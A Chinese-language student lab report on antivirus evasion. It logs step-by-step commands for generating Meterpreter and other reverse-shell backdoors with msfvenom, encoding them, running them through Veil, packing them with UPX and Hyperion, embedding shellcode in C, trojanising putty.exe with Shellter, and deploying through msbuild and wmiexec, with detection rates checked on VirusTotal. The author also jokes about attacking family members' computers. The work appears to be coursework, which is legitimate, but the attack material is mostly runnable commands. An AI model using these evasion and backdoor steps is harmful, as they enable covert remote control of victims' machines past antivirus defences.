Exp3 免杀原理与实践
一、基础问题回答
以下问题在远控免杀从入门到实践(1):基础篇均有完整的介绍和解答,这个系列的讲解也非常系统详细
-
杀软是如何检测出恶意代码的?
答:可以根据特征码检测,特征库收集恶意程序的特征码提供给杀软,如果杀软检测到程序中有特征库中的特征码,就可以判断此程序中包含恶意代码;可以通过恶意行为来检测,即有恶意行为则报警;可以通过定期的文件校验来检测,若文件校验和与原来保存的校验和不一致,则可能感染病毒。
-
免杀是做什么?
答:免杀就是反杀毒技术,使恶意程序的特征不能被杀毒软件检测到以被杀/删掉。
-
免杀的基本方法有哪些?
答:有修改特征码、花指令免杀、加壳免杀、内存免杀、二次编译、分离免杀、资源修改。本次实验中主要通过加壳、二次编译、分离免杀等方式更改特征码来避免特征码检测,也可以通过反弹连接、隧道技术等方式避免行为检测,不过一般还没行动就会被杀掉。
-
开启杀软能绝对防止电脑中恶意代码吗?
答:不能,如果杀软的病毒库没有更新,就检测不到新的被发现的恶意代码,更不用说还有未被发现特征的病毒未被记录在病毒库中。
二、实验总结与体会
本次实验中遇到了不少问题,尤其是在安装veil的时候的问题比较多,尝试实现免杀的过程非常煎熬,最终还是使用了较为弱的杀毒软件才实现了免杀。在实践过程中对上一次实验中设置的payload是做什么的,另外对配置环境变量的重要性有所体会。可以自己完成一些简单的恶意攻击还是挺有成就感的,等回家攻击攻击家人的XP和win7吧。
三、实践过程记录
3.1 免杀检测
-
同实验二的方式使用如下命令生成后门程序
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.92 LPORT=11214 -f exe > 20181214_backdoor.exe
-
放入VirusTotal和Virscan中进行扫描
- VirusTotal扫描结果
- Virscan扫描结果
3.2 正确使用msf编码器,生成exe文件
-
输入
msfvenom -l
查看msfvenom相关参数可以看到-f可以选择输出后门的格式,-e可以选择编码器,-b可以去除字符,-i可以设置迭代次数等
-
一次编码后门程序并检测
不设置-i迭代次数则默认为1
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b 'x00' LHOST=192.168.31.92 LPORT=11214 -f exe > 20181214_backdoor2.exe
VirusTotal检测结果
-
十次编码后门程序并检测
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b 'x00' LHOST=192.168.31.92 LPORT=11214 -f exe > 20181214_backdoor3.exe
VirusTotal检测结果
可疑度反而上升了
3.3 msfvenom生成如jar之类的其他文件
生成java后门程序
msfvenom -p java/shell_reverse_tcp LHOST=192.168.31.92 LPORT=11214 -f jar > 20181214jar.jar
VirusTotal检测结果
生成php后门程序
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.31.92 LPORT=11214 x> 20181214php.php
VirusTotal检测结果
3.4 veil
安装veil
-
使用
sudo apt-get install veil-evasion
命令安装veil期间出现了
veil err:mscoree:LoadLibraryShim error reading registry key for installroot
错误。参考安装Veil 3.0时出错 (事实上查看错误信息就可以解决),sudo mkdir /run/user/0
然后重新运行./config/setup.sh --force --silent
解决了问题 -
修改git源
由于使用了github上的资源而没有合 理 上 网,在加载过程中会特别慢以致连不上网,所以我们需要将安装文件中的gitub资源改为码云资源。先
vim /usr/share/veil/config/setup.sh
进.sh文件,输入/VeilDependencies.git
找到位置,在用sudo git clone https://gitee.com/spears/VeilDependencies.git
把这句替换掉即可。成功运行Veil
使用veil
-
输入
use evasion
进入Veil-Evasion -
输入
use powershell/shellcode_inject/psexec_virtual.py c/meterpreter/rev_tcp.py
进入配置界面 -
设置反弹连接IP,输入Kali的IP:
set LHOST 192.168.31.92
-
设置端口:
set LPORT 1214
,完成配置,可输入option
查看当前配置 -
输入
generate
生成后门程序文件,并命名playload成功生成exe文件,文件路径如图所示(var目录和root目录同级)
-
检验可用性
-
VirusTotal检测结果
3.5 加壳工具
压缩壳
通过减少将后门程序压缩的方式进行免杀,使用命令upx infile -o outfile
即可加壳
-
对实验二生成的后门程序
20181214_backdoor.exe
加壳- 使用命令
upx 20181214_backdoor.exe -o upx 20181214_backdoor.upxed.exe
- 使用命令
-
测试可用性
-
VirusTotal检测结果
对照结果,加壳后的检测率略有降低
-
对veil生成的后门程序
veil_1812.exe
加壳- 使用命令
upx veil_1812.exe -o veil_181214upx.exe
- VirusTotal检测结果
检测率不降反升,猜测有些检测软件看到加壳后会加 大 力 度
- 使用命令
加密壳
从上面的结果可以看到,压缩壳的免杀效果并不是很好,我们再使用Hyperion对后台程序加加密壳
我们需要先装一下Hyperion,用码云上的资源包下载wget https://gitee.com/guoguogewangzi/tools/raw/master/binary/hyperion/release/Hyperion-2.2.zip
,然后unzip Hyperion-2.2.zip
解压
进入Hyperion-2.2
文件夹,vim
修改makefile,将第一行改为 CC = i686-w64-mingw32-gcc
,之后make
编译一下
-
对实验二生成的后门程序
20181214_backdoor.exe
加壳-
使用
wine hyperion.exe -v 20181214_backdoor.exe 20181214_backdoor_upxed_Hyperion.exe
命令生成加密后门程序,注意需要先将后门程序移入Hyperion-2.2
文件夹 -
测试可用性
这次是能够执行完exe文件,不过msf那边会慢一些
-
VirusTotal检测结果
-
效果和压缩壳一样
-
对veil生成的后门程序
veil_1812.exe
加壳- 使用命令
wine hyperion.exe -v veil_1812.exe veil_1812_Hyperion.exe
- 使用命令
- 测试可用性
- VirusTotal检测结果
![image-20210405210330875](https://i.loli.net/2021/04/05/NDnTRpjmUyx1wMF.png)
检测率仍然不降反升,可能是检测软件对我们自主生成的后门程序不太敏感,反而是对壳特别敏感,在4.8部分我会组合使用他们看看到底是怎么样
3.6 使用C + shellcode编程
- 生成一段C语言shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.92 LPORT=11214 -f c
-
将shellcode放入如下代码中
unsigned char buf[] = "shellcode数组内容" int main() { int (*func)() = (int(*)())buf; func(); }
-
使用命令
i686-w64-mingw32-g++ 20181214.c -o 20181214.exe
对c文件进行交叉编译,得到可以在Windows环境下的可执行程序20181214.exe -
测试可用性
-
VirusTotal检测结果
3.7 使用其他课堂未介绍方法
使用Veil-Evasion的其他荷载生成后门方式
-
启动veil,输入
use evasion
进入evasion,输入list查看可用的有效荷载 -
输入
use 13
选择荷载cs/shellcode_inject/virtual.py
-
设置用户名,generate生成,并对荷载、端口、ip等进行配置
路径如下
-
通过生成的exe文件和rc文件进行MSF调用
将exe文件发到主机上,进入rc文件所在文件夹执行msf命令
主机中执行exe,msf中自动连接上了
-
VirusTotal检测结果
Shellter 免杀
-
准备PE文件
从https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html中下载32位putty.exe
-
生成payload
在kali终端中输入
shellter
运行,选择模式Auto,输入PE文件路径选择隐身模式,选择
windows/meterpreter/reverse_tcp
作为payload,输入ip和端口号成功生成
-
验证可用性
-
VirusTotal检测结果
nps_payload 免杀(失败)
-
安装nps_payload
使用
git clone https://gitee.com/sin29/nps_payload.git
命令克隆到本地,库是从github中导入码云的进入
nps_payload
文件夹后,使用pip install -r requirements.txt
命令安装依赖 -
利用nps_payload生成后门
看源码中nps_payload貌似提供了python2和python3两种执行方式,但python2少个库,
python3 nps_payload.py
运行这里会进入一个死循环,进入不了下一选项
我们vim查看.py文件,在代码末端发现输入的选项是默认的字符而options选择的却是数字,将409行的
task = input(" Select a task:")
改为task = int(input(" Select a task:"))
即可,102、229行也有这个问题,已经在github上提交问题运行后,第一步选择生成,选择1:
Generate msbuild/nps/msf payload
,第二步选择payload,选择1:windows/meterpreter/reverse_tcp
,并设置ip和端口成功生成后门文件,并给出了提示文件
-
检测可用性
虚拟机msf设置payload、ip和端口进行监听,将生成的xml文件发到主机上,在主机上使用如下命令执行
a. Local File Deployment: - %windir%Microsoft.NETFrameworkv4.0.30319msbuild.exe D:joeymsbuild_nps.xml b. Remote File Deployment: - wmiexec.py <USER>:'<PASS>'@<RHOST> cmd.exe /c start %windir%Microsoft.NETFrameworkv4.0.30319msbuild.exe \<attackerip><share>msbuild_nps.xml
发现没有成功生成xml文件,暂时没办法
3.8 通过组合应用各种技术实现恶意代码免杀
使用veil+压缩壳+加密壳的方式,未能实现免杀
使用c+shellcode+Hyperion的方式,未能实现免杀
在杀软版本较低的主机中能实现免杀
3.9 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
杀软版本为腾讯电脑管家 13.5.20525.234